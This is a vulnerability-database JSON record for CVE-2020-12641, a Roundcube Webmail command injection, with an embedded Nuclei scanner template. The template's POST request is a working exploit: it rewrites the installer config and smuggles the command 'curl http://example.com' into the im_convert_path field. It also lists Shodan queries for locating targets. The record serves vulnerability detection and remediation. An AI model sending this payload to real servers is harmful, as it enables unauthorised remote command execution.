{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-12641/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-12641/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-12641/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-12641/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-12641/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-12641"},"sightings":{"href":"/api/v1/sightings/cve-2020-12641"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-12641.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-12641\n\ninfo:\n  name: Roundcube Webmail - Command Injection\n  author: domwhewell-sage\n  severity: critical\n  description: |\n    Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.\n  impact: |\n    An attacker can exploit this vulnerability to execute arbitrary commands on the server, potentially leading to a full compromise of the system.\n  remediation: |\n    To remediate this vulnerability, update to Roundcube Webmail 1.4.5, 1.3.12 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-12641\n    - https://github.com/mbadanoiu/CVE-2020-12641\n    - http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.html\n    - https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4\n    - https://github.com/roundcube/roundcubemail/releases/tag/1.4.4\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-12641\n    cwe-id: CWE-78\n    epss-score: 0.84336\n    epss-percentile: 0.99687\n    cpe: cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: roundcube\n    product: webmail\n    shodan-query:\n      - http.component:\"roundcube\"\n      - cpe:\"cpe:2.3:a:roundcube:webmail\"\n  tags: cve,cve2020,roundcube,webmail,intrusive,kev,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/installer/index.php\"\n      - \"{{BaseURL}}/roundcube/installer/index.php\"\n\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n\n    body: _step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'Roundcube Webmail Installer'\n          - 'The config file was saved successfully'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203156177cefa8a7bcfff9efc582502220ebc95654164cafc7ca89d8e1985de1d5022100e592950b76cf5ac9d4424b78562f5e7b171c393b941c2e892eb1b87d029ede08:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-12641"}